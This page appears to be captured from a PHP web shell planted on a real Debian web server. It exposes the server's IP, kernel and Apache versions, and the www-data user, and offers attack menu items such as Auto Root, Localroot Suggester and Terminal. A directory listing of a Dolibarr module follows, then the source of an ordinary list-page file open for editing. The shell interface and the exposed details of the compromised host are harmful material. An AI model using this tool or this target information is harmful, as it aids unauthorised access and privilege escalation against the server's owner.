Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.119
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
ctm.bdcloud.fr /
custom /
edisuivi /
Delete
Unzip
Name
Size
Permission
Date
Action
admin
[ DIR ]
drwxr-xr-x
2025-11-08 11:15
backend
[ DIR ]
drwxr-xr-x
2025-11-08 11:15
build
[ DIR ]
drwxr-xr-x
2025-11-08 11:15
class
[ DIR ]
drwxr-xr-x
2025-11-08 11:15
core
[ DIR ]
drwxr-xr-x
2025-11-08 11:15
img
[ DIR ]
drwxr-xr-x
2025-11-08 11:15
langs
[ DIR ]
drwxr-xr-x
2025-11-08 11:15
lib
[ DIR ]
drwxr-xr-x
2025-11-08 11:15
scripts
[ DIR ]
drwxr-xr-x
2025-11-08 11:15
sql
[ DIR ]
drwxr-xr-x
2025-11-08 11:15
test
[ DIR ]
drwxr-xr-x
2025-11-08 11:15
test_
[ DIR ]
drwxr-xr-x
2025-11-08 11:15
COPYING
32.32
KB
-rw-r--r--
2021-01-28 00:29
ChangeLog.md
95
B
-rw-r--r--
2021-01-28 00:29
README.md
2.37
KB
-rw-r--r--
2021-01-28 00:29
commentaire_agenda.php
10.73
KB
-rw-r--r--
2021-01-28 00:29
commentaire_card.php
26.22
KB
-rw-r--r--
2021-01-28 00:29
commentaire_detail.php
16.76
KB
-rw-r--r--
2021-01-29 01:47
commentaire_document.php
6.78
KB
-rw-r--r--
2021-01-28 00:29
commentaire_list.php
18.41
KB
-rw-r--r--
2021-01-28 00:29
commentaire_list_old.php
27.83
KB
-rw-r--r--
2021-01-28 00:29
commentaire_note.php
7.19
KB
-rw-r--r--
2021-01-28 00:29
edisuiviindex.php
8.25
KB
-rw-r--r--
2021-01-28 00:29
entreprise_agenda.php
10.72
KB
-rw-r--r--
2021-01-28 00:29
entreprise_card.php
27.38
KB
-rw-r--r--
2021-01-28 00:29
entreprise_document.php
6.77
KB
-rw-r--r--
2021-01-28 00:29
entreprise_list.php
27.87
KB
-rw-r--r--
2021-01-28 00:29
entreprise_note.php
7.18
KB
-rw-r--r--
2021-01-28 00:29
modulebuilder.txt
244
B
-rw-r--r--
2021-01-28 00:29
utilisateur_agenda.php
10.73
KB
-rw-r--r--
2021-01-28 00:29
utilisateur_card.php
27.51
KB
-rw-r--r--
2021-01-28 00:29
utilisateur_document.php
6.78
KB
-rw-r--r--
2021-01-28 00:29
utilisateur_list.php
27.91
KB
-rw-r--r--
2021-01-28 00:29
utilisateur_note.php
7.19
KB
-rw-r--r--
2021-01-28 00:29
Save
Rename
<?php /* Copyright (C) 2007-2017 Laurent Destailleur <eldy@users.sourceforge.net> * Copyright (C) ---Put here your own copyright and developer email--- * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ /** * \file commentaire_list.php * \ingroup edisuivi * \brief List page for commentaire */ //if (! defined('NOREQUIREDB')) define('NOREQUIREDB', '1'); // Do not create database handler $db //if (! defined('NOREQUIREUSER')) define('NOREQUIREUSER', '1'); // Do not load object $user //if (! defined('NOREQUIRESOC')) define('NOREQUIRESOC', '1'); // Do not load object $mysoc //if (! defined('NOREQUIRETRAN')) define('NOREQUIRETRAN', '1'); // Do not load object $langs //if (! defined('NOSCANGETFORINJECTION')) define('NOSCANGETFORINJECTION', '1'); // Do not check injection attack on GET parameters //if (! defined('NOSCANPOSTFORINJECTION')) define('NOSCANPOSTFORINJECTION', '1'); // Do not check injection attack on POST parameters //if (! defined('NOCSRFCHECK')) define('NOCSRFCHECK', '1'); // Do not check CSRF attack (test on referer + on token if option MAIN_SECURITY_CSRF_WITH_TOKEN is on). //if (! defined('NOTOKENRENEWAL')) define('NOTOKENRENEWAL', '1'); // Do not roll the Anti CSRF token (used if MAIN_SECURITY_CSRF_WITH_TOKEN is on) //if (! defined('NOSTYLECHECK')) define('NOSTYLECHECK', '1'); // Do not check style html tag into posted data //if (! defined('NOIPCHECK')) define('NOIPCHECK', '1'); // Do not check IP defined into conf $dolibarr_main_restrict_ip //if (! defined('NOREQUIREMENU')) define('NOREQUIREMENU', '1'); // If there is no need to load and show top and left menu //if (! defined('NOREQUIREHTML')) define('NOREQUIREHTML', '1'); // If we don't need to load the html.form.class.php //if (! defined('NOREQUIREAJAX')) define('NOREQUIREAJAX', '1'); // Do not load ajax.lib.php library //if (! defined("NOLOGIN")) define("NOLOGIN", '1'); // If this page is public (can be called outside logged session) //if (! defined("MAIN_LANG_DEFAULT")) define('MAIN_LANG_DEFAULT', 'auto'); // Force lang to a particular value //if (! defined("MAIN_AUTHENTICATION_MODE")) define('MAIN_AUTHENTICATION_MODE', 'aloginmodule'); // Force authentication handler //if (! defined("NOREDIRECTBYMAINTOLOGIN")) define('NOREDIRECTBYMAINTOLOGIN', '1'); // The main.inc.php does not make a redirect if not logged, instead show simple error message //if (! defined("XFRAMEOPTIONS_ALLOWALL")) define('XFRAMEOPTIONS_ALLOWALL', '1'); // Do not add the HTTP header 'X-Frame-Options: SAMEORIGIN' but 'X-Frame-Options: ALLOWALL' // Load Dolibarr environment $res = 0; // Try main.inc.php into web root known defined into CONTEXT_DOCUMENT_ROOT (not always defined) if (!$res && !empty($_SERVER["CONTEXT_DOCUMENT_ROOT"])) $res = @include $_SERVER["CONTEXT_DOCUMENT_ROOT"]."/main.inc.php"; // Try main.inc.php into web root detected using web root calculated from SCRIPT_FILENAME $tmp = empty($_SERVER['SCRIPT_FILENAME']) ? '' : $_SERVER['SCRIPT_FILENAME']; $tmp2 = realpath(__FILE__); $i = strlen($tmp) - 1; $j = strlen($tmp2) - 1; while ($i > 0 && $j > 0 && isset($tmp[$i]) && isset($tmp2[$j]) && $tmp[$i] == $tmp2[$j]) { $i--; $j--; } if (!$res && $i > 0 && file_exists(substr($tmp, 0, ($i + 1))."/main.inc.php")) $res = @include substr($tmp, 0, ($i + 1))."/main.inc.php"; if (!$res && $i > 0 && file_exists(dirname(substr($tmp, 0, ($i + 1)))."/main.inc.php")) $res = @include dirname(substr($tmp, 0, ($i + 1)))."/main.inc.php"; // Try main.inc.php using relative path if (!$res && file_exists("../main.inc.php")) $res = @include "../main.inc.php"; if (!$res && file_exists("../../main.inc.php")) $res = @include "../../main.inc.php"; if (!$res && file_exists("../../../main.inc.php")) $res = @include "../../../main.inc.php"; if (!$res) die("Include of main fails"); require_once DOL_DOCUMENT_ROOT.'/core/class/html.formcompany.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/date.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php'; // load edisuivi libraries require_once __DIR__.'/class/commentaire.class.php'; // for other modules //dol_include_once('/othermodule/class/otherobject.class.php'); // Load translation files required by the page $langs->loadLangs(array("edisuivi@edisuivi", "other")); $action = GETPOST('action', 'aZ09') ?GETPOST('action', 'aZ09') : 'view'; // The action 'add', 'create', 'edit', 'update', 'view', ... $massaction = GETPOST('massaction', 'alpha'); // The bulk action (combo box choice into lists) $show_files = GETPOST('show_files', 'int'); // Show files area generated by bulk actions ? $confirm = GETPOST('confirm', 'alpha'); // Result of a confirmation $cancel = GETPOST('cancel', 'alpha'); // We click on a Cancel button $toselect = GETPOST('toselect', 'array'); // Array of ids of elements selected into a list $contextpage = GETPOST('contextpage', 'aZ') ? GETPOST('contextpage', 'aZ') : 'commentairelist'; // To manage different context of search $backtopage = GETPOST('backtopage', 'alpha'); // Go back to a dedicated page $optioncss = GETPOST('optioncss', 'aZ'); // Option for the css output (always '' except when 'print') $id = GETPOST('id', 'int'); // Load variable for pagination $limit = GETPOST('limit', 'int') ? GETPOST('limit', 'int') : $conf->liste_limit; $sortfield = GETPOST('sortfield', 'alpha'); $sortorder = GETPOST('sortorder', 'alpha'); $page = GETPOST('page', 'int'); if (empty($page) || $page == -1 || GETPOST('button_search', 'alpha') || GETPOST('button_removefilter', 'alpha') || (empty($toselect) && $massaction === '0')) { $page = 0; } // If $page is not defined, or '' or -1 or if we click on clear filters or if we select empty mass action $offset = $limit * $page; $pageprev = $page - 1; $pagenext = $page + 1; // Initialize technical objects $object = new Commentaire($db); $extrafields = new ExtraFields($db); $diroutputmassaction = $conf->edisuivi->dir_output.'/temp/massgeneration/'.$user->id; $hookmanager->initHooks(array('commentairelist')); // Note that conf->hooks_modules contains array // Fetch optionals attributes and labels $extrafields->fetch_name_optionals_label($object->table_element); //$extrafields->fetch_name_optionals_label($object->table_element_line); $search_array_options = $extrafields->getOptionalsFromPost($object->table_element, '', 'search_'); // JL if (!$sortfield) $sortfield = "t.rowid"; // Set here default search field. By default 1st field in definition. if (!$sortorder) $sortorder = "ASC"; // Security check if (empty($conf->edisuivi->enabled)) accessforbidden('Module not enabled'); $socid = 0; if ($user->socid > 0) // Protection if external user { //$socid = $user->socid; accessforbidden(); } //$result = restrictedArea($user, 'edisuivi', $id, ''); // Initialize array of search criterias $search_all=trim(GETPOST("search_all", 'alpha')); $search=array(); foreach($object->fields as $key => $val) { if (GETPOST('search_'.$key, 'alpha') !== '') $search[$key]=GETPOST('search_'.$key, 'alpha'); } // List of fields to search into when doing a "search in all" $fieldstosearchall = array(); foreach($object->fields as $key => $val) { if ($val['searchall']) $fieldstosearchall['t.'.$key]=$val['label']; } // Definition of fields for list $arrayfields=array(); foreach($object->fields as $key => $val) { // If $val['visible']==0, then we never show the field if (!empty($val['visible'])) $arrayfields['t.'.$key] = array('label'=>$val['label'], 'checked'=>(($val['visible'] < 0) ? 0 : 1), 'enabled'=>($val['enabled'] && ($val['visible'] != 3)), 'position'=>$val['position']); } // Extra fields if (is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label']) > 0) { foreach($extrafields->attributes[$object->table_element]['label'] as $key => $val) { if (!empty($extrafields->attributes[$object->table_element]['list'][$key])) { $arrayfields["ef.".$key] = array( 'label'=>$extrafields->attributes[$object->table_element]['label'][$key], 'checked'=>(($extrafields->attributes[$object->table_element]['list'][$key]<0)?0:1), 'position'=>$extrafields->attributes[$object->table_element]['pos'][$key], 'enabled'=>(abs($extrafields->attributes[$object->table_element]['list'][$key])!=3 && $extrafields->attributes[$object->table_element]['perms'][$key]) ); } } } $object->fields = dol_sort_array($object->fields, 'position'); $arrayfields = dol_sort_array($arrayfields, 'position'); $permissiontoread = $user->rights->edisuivi->commentaire->read; $permissiontoadd = $user->rights->edisuivi->commentaire->write; $permissiontodelete = $user->rights->edisuivi->commentaire->delete; /* * Actions */ if (GETPOST('cancel', 'alpha')) { $action = 'list'; $massaction = ''; } if (!GETPOST('confirmmassaction', 'alpha') && $massaction != 'presend' && $massaction != 'confirm_presend') { $massaction = ''; } $parameters = array(); $reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks if ($reshook < 0) setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); if (empty($reshook)) { // Selection of new fields include DOL_DOCUMENT_ROOT.'/core/actions_changeselectedfields.inc.php'; // Purge search criteria if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x', 'alpha') || GETPOST('button_removefilter', 'alpha')) // All tests are required to be compatible with all browsers { foreach ($object->fields as $key => $val) { $search[$key] = ''; } $toselect = ''; $search_array_options = array(); } if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x', 'alpha') || GETPOST('button_removefilter', 'alpha') || GETPOST('button_search_x', 'alpha') || GETPOST('button_search.x', 'alpha') || GETPOST('button_search', 'alpha')) { $massaction = ''; // Protection to avoid mass action if we force a new search during a mass action confirmation } // Mass actions $objectclass = 'Commentaire'; $objectlabel = 'Commentaire'; $uploaddir = $conf->edisuivi->dir_output; include DOL_DOCUMENT_ROOT.'/core/actions_massactions.inc.php'; } /* * View */ $form = new Form($db); //$title = $langs->trans('ListOf', $langs->transnoentitiesnoconv("Commentaires")); $title = $langs->trans('ListOf', $langs->transnoentitiesnoconv("commande"))." avec des commentaires"; $fields = array( array('sql_field'=>'rowid', 'label'=>'Index'), array('sql_field'=>'ref', 'label'=>'Référence'), array('sql_field'=>'fk_soc_', 'label'=>'Client'), array('sql_field'=>'date_creation', 'label'=>'Date de création'), array('sql_field'=>'tms', 'label'=>'Date de modification'), array('sql_field'=>'date_valid', 'label'=>'Date de validation'), array('sql_field'=>'cpt_cmt', 'label'=>'Nombre de Commentaire(s)'), ); // Build and execute select // -------------------------------------------------------------------- //$sql = 'SELECT SELECT t.rowid, t.origin_id, t.date_creation, t.text, t.date_modification, t.edited, t.fk_soc, t.fk_user FROM llx_edisuivi_commentaire as t WHERE 1 = 1'; $sql_soc = "SELECT soc.nom FROM llx_societe as soc WHERE soc.rowid = t.fk_soc"; $sql_cmt_count = "SELECT COUNT(*) FROM llx_edisuivi_commentaire as cmt WHERE cmt.origin_id = t.rowid"; $sql = "SELECT t.rowid, t.ref, ($sql_soc) as fk_soc_, t.date_creation, t.tms, t.date_valid, ($sql_cmt_count) as cpt_cmt FROM llx_commande as t WHERE 1 = 1 HAVING cpt_cmt > 0"; $sql .= $db->order($sortfield, $sortorder); // Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { $resql = $db->query($sql); $nbtotalofrecords = $db->num_rows($resql); if (($page * $limit) > $nbtotalofrecords) // if total of record found is smaller than page * limit, goto and load page 0 { $page = 0; $offset = 0; } } // if total of record found is smaller than limit, no need to do paging and to restart another select with limits set. if (is_numeric($nbtotalofrecords) && ($limit > $nbtotalofrecords || empty($limit))) { $num = $nbtotalofrecords; } else { if ($limit) $sql .= $db->plimit($limit + 1, $offset); $resql = $db->query($sql); if (!$resql) { dol_print_error($db); exit; } $num = $db->num_rows($resql); } // Direct jump if only one record found if ($num == 1 && !empty($conf->global->MAIN_SEARCH_DIRECT_OPEN_IF_ONLY_ONE) && $search_all && !$page) { $obj = $db->fetch_object($resql); $id = $obj->rowid; header("Location: ".dol_buildpath('/edisuivi/commentaire_card.php', 1).'?id='.$id); exit; } // Output page // -------------------------------------------------------------------- llxHeader('', $title, $help_url); // Example : Adding jquery code print '<script type="text/javascript" language="javascript"> jQuery(document).ready(function() { function init_myfunc() { jQuery("#myid").removeAttr(\'disabled\'); jQuery("#myid").attr(\'disabled\',\'disabled\'); } init_myfunc(); jQuery("#mybutton").click(function() { init_myfunc(); }); }); </script>'; $arrayofselected = is_array($toselect) ? $toselect : array(); $param = ''; if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) $param .= '&contextpage='.urlencode($contextpage); if ($limit > 0 && $limit != $conf->liste_limit) $param .= '&limit='.urlencode($limit); foreach ($search as $key => $val) { if (is_array($search[$key]) && count($search[$key])) foreach ($search[$key] as $skey) $param .= '&search_'.$key.'[]='.urlencode($skey); else $param .= '&search_'.$key.'='.urlencode($search[$key]); } if ($optioncss != '') $param .= '&optioncss='.urlencode($optioncss); // Add $param from extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_param.tpl.php'; // List of mass actions available $arrayofmassactions = array( //'validate'=>$langs->trans("Validate"), //'generate_doc'=>$langs->trans("ReGeneratePDF"), //'builddoc'=>$langs->trans("PDFMerge"), //'presend'=>$langs->trans("SendByMail"), ); if ($permissiontodelete) $arrayofmassactions['predelete'] = '<span class="fa fa-trash paddingrightonly"></span>'.$langs->trans("Delete"); if (GETPOST('nomassaction', 'int') || in_array($massaction, array('presend', 'predelete'))) $arrayofmassactions = array(); $massactionbutton = $form->selectMassAction('', $arrayofmassactions); print '<form method="POST" id="searchFormList" action="'.$_SERVER["PHP_SELF"].'">'."\n"; if ($optioncss != '') print '<input type="hidden" name="optioncss" value="'.$optioncss.'">'; print '<input type="hidden" name="token" value="'.newToken().'">'; print '<input type="hidden" name="formfilteraction" id="formfilteraction" value="list">'; print '<input type="hidden" name="action" value="list">'; print '<input type="hidden" name="sortfield" value="'.$sortfield.'">'; print '<input type="hidden" name="sortorder" value="'.$sortorder.'">'; print '<input type="hidden" name="page" value="'.$page.'">'; print '<input type="hidden" name="contextpage" value="'.$contextpage.'">'; print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'title_companies', 0, null, '', $limit); print '<div class="div-table-responsive">'; // You can use div-table-responsive-no-min if you dont need reserved height for your table print '<h1>Hello world</h1>'; print '<table class="tagtable nobottomiftotal liste'.($moreforfilter ? " listwithfilterbefore" : "").'">'."\n"; // Fields title label // -------------------------------------------------------------------- print '<tr class="liste_titre">'; foreach ($fields as $key => $val){ print '<td'.($cssforfield ? ' class="'.$cssforfield.'"' : '').'>'.$val['label'].'</td>'; } print '</tr>'."\n"; // Loop on record // -------------------------------------------------------------------- $i = 0; $totalarray = array(); while ($i < ($limit ? min($num, $limit) : $num)) { //print("<pre>".print_r($db->fetch_array($sql),true)."</pre>"); // Show here line of result while($row = $db->fetch_array($sql)){ print '<tr class="oddeven">'; print '<td'.($cssforfield ? ' class="'.$cssforfield.'"' : '').'><a href="commentaire_detail.php?orderId='.$row['rowid'].'">'.($i+1).'</a></td>'; print '<td'.($cssforfield ? ' class="'.$cssforfield.'"' : '').'><a href="commentaire_detail.php?orderId='.$row['rowid'].'">'.$row['ref'].'</a></td>'; print '<td'.($cssforfield ? ' class="'.$cssforfield.'"' : '').'>'.$row['fk_soc_'].'</td>'; print '<td'.($cssforfield ? ' class="'.$cssforfield.'"' : '').'>'.$row['date_creation'].'</td>'; print '<td'.($cssforfield ? ' class="'.$cssforfield.'"' : '').'>'.$row['tms'].'</td>'; print '<td'.($cssforfield ? ' class="'.$cssforfield.'"' : '').'>'.$row['date_valid'].'</td>'; print '<td'.($cssforfield ? ' class="'.$cssforfield.'"' : '').'>'.$row['cpt_cmt'].'</td>'; print '</tr>'."\n"; } $i++; } // Show total line include DOL_DOCUMENT_ROOT.'/core/tpl/list_print_total.tpl.php'; // If no record found if ($num == 0) { $colspan = 1; foreach ($arrayfields as $key => $val) { if (!empty($val['checked'])) $colspan++; } print '<tr><td colspan="'.$colspan.'" class="opacitymedium">'.$langs->trans("NoRecordFound").'</td></tr>'; } $db->free($resql); $parameters = array('arrayfields'=>$arrayfields, 'sql'=>$sql); $reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; print '</table>'."\n"; print '</div>'."\n"; print '</form>'."\n"; // End of page llxFooter(); $db->close();